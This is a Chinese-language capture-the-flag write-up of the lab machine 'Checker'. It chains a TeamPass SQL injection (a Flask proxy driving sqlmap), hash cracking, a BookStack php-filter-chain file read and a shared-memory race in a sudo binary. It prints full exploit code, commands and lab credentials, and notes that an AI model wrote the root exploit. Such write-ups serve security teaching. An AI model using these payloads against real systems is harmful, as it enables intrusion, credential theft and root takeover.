Checker

10.10.11.56

nmap

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
# Nmap 7.95 scan initiated Tue Apr 22 16:57:35 2025 as: nmap -e utun4 -sC -sV -vv -oA nmap/default-full 10.10.11.56
Nmap scan report for 10.10.11.56
Host is up, received echo-reply ttl 63 (0.11s latency).
Scanned at 2025-04-22 16:57:48 CST for 16s
Not shown: 997 closed tcp ports (reset)
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 63 OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 aa:54:07:41:98:b8:11:b0:78:45:f1:ca:8c:5a:94:2e (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBNQsMcD52VU4FwV2qhq65YVV9Flp7+IUAUrkugU+IiOs5ph+Rrqa4aofeBosUCIziVzTUB/vNQwODCRSTNBvdXQ=
| 256 8f:2b:f3:22:1e:74:3b:ee:8b:40:17:6c:6c:b1:93:9c (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIIRBr02nNGqdVIlkXK+vsFIdhcYJoWEVqAIvGCGz+nHY
80/tcp open http syn-ack ttl 63 Apache httpd
|_http-server-header: Apache
|_http-title: 403 Forbidden
8080/tcp open http syn-ack ttl 63 Apache httpd
|_http-server-header: Apache
|_http-title: 403 Forbidden
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Read data files from: /opt/homebrew/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Tue Apr 22 16:58:04 2025 -- 1 IP address (1 host up) scanned in 28.98 seconds

checker.htb 添加到 hosts

8080 teampass

changelog
changelog
github
github

查看 changelog 对比 github 仓库中的 changelog 可推测版本在 3.0.0.22 之前,存在 sql 注入 https://huntr.com/bounties/942c015f-7486-49b1-94ae-b1538d812bc2 ,回显在 jwt 中需要解码,构建一个反代服务器使用 sqlmap

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
import base64
import re
import json
from flask import Flask, request, jsonify

import requests

def fix_padding(data):
# 计算需要补充的填充字符数量
missing_padding = len(data) % 4
if missing_padding:
data += '=' * (4 - missing_padding)
return data

def force_decode_base64(data):
# 修复填充并解码
fixed_data = fix_padding(data)
return base64.b64decode(fixed_data)

def send_request(sql):
burp0_url = "http://checker.htb:8080/api/index.php/authorize"
burp0_headers = {"User-Agent": "curl/8.7.1", "Accept": "*/*", "Content-Type": "application/json", "Connection": "keep-alive"}
burp0_json={"apikey": "foo", "login": f"none' UNION SELECT id, '$2y$10$u5S27wYJCVbaPTRiHRsx7.iImx/WxRA8/tKvWdaWQ/iDuKlIkMbhq', ({sql}), private_key, personal_folder, fonction_id, groupes_visibles, groupes_interdits, 'foo' FROM teampass_users WHERE login='admin", "password": "h4ck3d"}
try:
response = requests.post(burp0_url, headers=burp0_headers, json=burp0_json)
if response.status_code == 500:
return ""
return json.loads(force_decode_base64(response.json()["token"].split(".")[1]).decode())["public_key"]
except:
return ""

app = Flask(__name__)

@app.route('/inject', methods=['GET'])
def process_data():
query = request.args.get('query')
return send_request(query)


if __name__ == '__main__':
app.run(port=3000)
1
$ sqlmap -u "http://localhost:3000/inject?query=*" -D teampass -T teampass_users --dump --hex

获得哈希

1
2
admin:$2y$10$lKCae0EIUNj6f96ZnLqnC.LbWqrBQCT1LuHEFht6PmE4yH75rpWya
bob:$2y$10$yMypIj1keU.VAqBI692f..XXn0vfyBL7C1EhOs35G59NxmtpJ/tiy
1
2
$ hashcat -m 3200 '$2y$10$yMypIj1keU.VAqBI692f..XXn0vfyBL7C1EhOs35G59NxmtpJ/tiy' rockyou.txt
# $2y$10$yMypIj1keU.VAqBI692f..XXn0vfyBL7C1EhOs35G59NxmtpJ/tiy:cheerleader

获得凭据 bob:cheerleader,登陆 teampass 获取到 bookstack 和 ssh 凭据

1
2
bookstack [email protected]:mYSeCr3T_w1kI_P4sSw0rD
ssh reader:hiccup-publicly-genesis

ssh 无法直接登陆,需要验证码。

80 Bookstack

bookstack-version
bookstack-version

Bookstack 23.10.2 存在漏洞 https://github.com/AbdrrahimDahmani/php_filter_chains_oracle_exploit_for_CVE-2023-6199
在新建页面后编辑一下,开启 burp 监听等待自动保存即可抓取到存在漏洞的 ajax 接口请求,更新参数

1
$ python3 filters_chain_oracle_exploit.py --parameter html --headers '{"Content-Type": "application/x-www-form-urlencoded","X-CSRF-TOKEN": "8Gq9scMhg3Geezu4lhDyiykmtYREezKfOmHJqFBC","Cookie":"teampass_session=35c10dvbds533olcq9k6rm8imk; jstree_select=1; XSRF-TOKEN=eyJpdiI6IkRHM1IzTk8wTnluOVFUT01pWnFIc1E9PSIsInZhbHVlIjoiYmE3K3lKdnErYWIvL2xralhIb1Nla0FKSGhkdytyOVJLa3FTWXJJcmxuTHdwT1VxRitNckcvWUVsQUw1ampxNXBlK2JOQkJ4T09pcTA4NkQ3QkxkQlM4TC9HWHFFb1d2NC80T2t4RkQvQVNJWlpTOWttZzlZNEF4OHBDQVBscWMiLCJtYWMiOiIzMjUzYWQ3OTc2YmVmMWU1YTg5OGE3ODhiYzAwYTJkYTgyMzM5ODUzZGMzYjRmY2VkOTU0ZjNhNzYzNDIzNzU0IiwidGFnIjoiIn0%3D; bookstack_session=eyJpdiI6Im8vYWt6eExFclZLdVdoUDlRUVZUY3c9PSIsInZhbHVlIjoiTE5SU0ZXYnhNbTloaGh5MERiVnF4S0lvdGptaXMxR3hJMlBTRWRrRzJRNXdEejlKdVZTZ1RjdVFITUFCcDFWN0RBdXArZSt5ZnNRa1hJaExlenBWdVJxYmZROXNGTEZZVnRLc0dNWHl0YW43NG5yOTJ5dUI4RGZNb3RyaDVPSVciLCJtYWMiOiIyNGFiN2FlN2I4ZGRlYzNmMjllZmVjMjYzMWIzZDk3NTM5M2I1ZGIyODBlZGNmMWQ0ZTVhODI5NmExMTRhY2I1IiwidGFnIjoiIn0%3D"}' --verb PUT --target http://checker.htb/ajax/page/8/save-draft --file '/etc/passwd'

成功读取 /etc/passwd
path
根据 google-authenticator 文档可知 ssh 2fa 配置文件位于 ~/.google_authenticator,故需要读取 /backup/home_backup/home/reader/.google_authenticator
result
获得 totp key DVDBRAODLCWF7I2ONA4K5LQLUE

1
2
$ oathtool --totp -b 'DVDBRAODLCWF7I2ONA4K5LQLUE'
672562

成功登陆 ssh,若出现 Error "Operation not permitted" while writing config 可尝试将 VPN 区域调整至 US

提权

linpeas.sh

database-config
database-config
1
2
3
4
5
6
7
array (                                                                            
'driver'=>'mysql', 'url'=>NULL, 'host'=>'localhost', 'database'=>'bookstack_db', 'username'=>'bookstack', 'password'=>'pK8HK7IHCKLCNHUJ7', 'unix_socket'=>'', 'port'=>3306, 'charset'=>'utf8mb4', 'collation'=>'utf8mb4_unicode_ci', 'prefix'=>'', 'prefix_indexes'=>true, 'strict' => false,
'engine' => NULL,
'options' =>
array (
),
)
1
2
3
Guest	[email protected]	
admin [email protected] $2y$10$FMB7sy4LU8bUvgQYUvCkA.c4eB7FPBlkEMKZOO5Q40fa4MfK/b6E6
bob [email protected] $2y$10$l0oSO0orghf6Lmqi/I5iVumteSV/HPsZJq2ebxCPtJYgcojWPNMuK

sudo

1
2
3
4
5
6
7
8
9
10
11
12
$ sudo -l
Matching Defaults entries for reader on checker:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User reader may run the following commands on checker:
(ALL) NOPASSWD: /opt/hash-checker/check-leak.sh *

$ cat /opt/hash-checker/check-leak.sh
#!/bin/bash
source `dirname $0`/.env
USER_NAME=$(/usr/bin/echo "$1" | /usr/bin/tr -dc '[:alnum:]')
/opt/hash-checker/check_leak "$USER_NAME"

下载 check_leak ghidra 打开

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102

undefined8 main(int param_1,ulong param_2)

{
char cVar1;
undefined4 uVar2;
uint param1;
char *pcVar3;
char *pcVar4;
char *pcVar5;
char *pcVar6;
size_t sVar7;
char *pcVar8;
char *extraout_RDX;

pcVar3 = getenv("DB_HOST");
pcVar4 = getenv("DB_USER");
pcVar5 = getenv("DB_PASSWORD");
pcVar6 = getenv("DB_NAME");
if (*(char *)((param_2 + 8 >> 3) + 0x7fff8000) != '\0') {
__asan_report_load8(param_2 + 8);
}
pcVar8 = *(char **)(param_2 + 8);
if ((((pcVar3 == (char *)0x0) || (pcVar4 == (char *)0x0)) || (pcVar5 == (char *)0x0)) ||
(pcVar6 == (char *)0x0)) {
if (DAT_80019140 != '\0') {
__asan_report_load8(&stderr);
}
fwrite("Error: Missing database credentials in environment\n",1,0x33,stderr);
__asan_handle_no_return();
/* WARNING: Subroutine does not return */
exit(1);
}
if (param_1 != 2) {
if (*(char *)((param_2 >> 3) + 0x7fff8000) != '\0') {
__asan_report_load8(param_2);
}
pcVar3 = *(char **)param_2;
if (DAT_80019140 != '\0') {
__asan_report_load8(&stderr);
pcVar3 = extraout_RDX;
}
fprintf(stderr,"Usage: %s <USER>\n",pcVar3);
__asan_handle_no_return();
/* WARNING: Subroutine does not return */
exit(1);
}
if (pcVar8 != (char *)0x0) {
cVar1 = *(char *)(((ulong)pcVar8 >> 3) + 0x7fff8000);
if (cVar1 <= (char)((byte)pcVar8 & 7) && cVar1 != '\0') {
__asan_report_load1(pcVar8);
}
if (*pcVar8 != '\0') {
sVar7 = strlen(pcVar8);
if (0x14 < sVar7) {
if (DAT_80019140 != '\0') {
__asan_report_load8(&stderr);
}
fwrite("Error: <USER> is too long. Maximum length is 20 characters.\n",1,0x3c,stderr);
__asan_handle_no_return();
/* WARNING: Subroutine does not return */
exit(1);
}
pcVar8 = fetch_hash_from_db(pcVar3,pcVar4,pcVar5,pcVar6,pcVar8);
if (pcVar8 == (char *)0x0) {
puts("User not found in the database.");
}
else {
uVar2 = check_bcrypt_in_file("/opt/hash-checker/leaked_hashes.txt",pcVar8);
if ((char)uVar2 == '\0') {
puts("User is safe.");
}
else {
puts("Password is leaked!");
if (DAT_8001913c != '\0') {
__asan_report_load8(&stdout);
}
fflush(stdout);
param1 = write_to_shm(pcVar8);
printf("Using the shared memory 0x%X as temp location\n",param1);
if (DAT_8001913c != '\0') {
__asan_report_load8(&stdout);
}
fflush(stdout);
// 条件竞争
sleep(1);
notify_user(pcVar3,pcVar4,pcVar5,pcVar6,param1);
clear_shared_memory(param1);
}
free(pcVar8);
}
return 0;
}
}
if (DAT_80019140 != '\0') {
__asan_report_load8(&stderr);
}
fwrite("Error: <USER> is not provided.\n",1,0x1f,stderr);
__asan_handle_no_return();
/* WARNING: Subroutine does not return */
exit(1);
}

sleep 将导致条件竞争漏洞,在程序读取共享内存前进行修改即可控制变量
command-injection
mysql 处存在命令注入,可控数据来自共享内存 pcVar4 变量,内容需包含 Leaked hash detected
write_to_shm 函数源码发给 qwen-max-2.5 并明确了要求后,AI 给出了 exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ipc.h>
#include <sys/shm.h>
#include <time.h>
#include <unistd.h>

int main() {
int shmid;
char *shmaddr;
time_t current_time = time(NULL);
char payload[0x400];

// 构造恶意payload(注入chmod命令)
snprintf(payload, sizeof(payload),
"Leaked hash detected at 1970-01-01 00:00:00 > '; chmod +s /bin/bash;#"
);

// 尝试当前时间及前后2秒的种子,预测shmid
for (int delta = -2; delta <= 2; delta++) {
time_t t = current_time + delta;
srand(t);
int key = rand() % 0xfffff;

// 尝试获取共享内存段
shmid = shmget(key, 0x400, 0);
if (shmid != -1) {
break; // 成功找到shmid
}
}

if (shmid == -1) {
perror("[-] Failed to find shmid");
exit(EXIT_FAILURE);
}

// 附加共享内存
shmaddr = shmat(shmid, NULL, 0);
if (shmaddr == (char *)-1) {
perror("[-] shmat");
exit(EXIT_FAILURE);
}

// 覆盖共享内存内容
memcpy(shmaddr, payload, strlen(payload) + 1);
printf("[+] Overwritten shared memory with payload\n");

// 分离共享内存
if (shmdt(shmaddr) == -1) {
perror("[-] shmdt");
exit(EXIT_FAILURE);
}

printf("[+] Exploit completed. Check /bin/bash SUID bit.\n");
return 0;
}
pwned
pwned

总结

通过 teampass 的 SQL 注入 + hashcat 获取用户 bob 凭据,登陆 teampass 获取 bookstack 和 ssh 密码;通过 bookstack 的 SSRF + oracle filter chain 读取 .google_authenticator 登陆 ssh 到达 user shell。
sudo 检查可执行命令发现 check_leak,逆向分析发现 check_leak 存在条件竞争 + 命令注入,qwen 编写 exp 到达 root shell。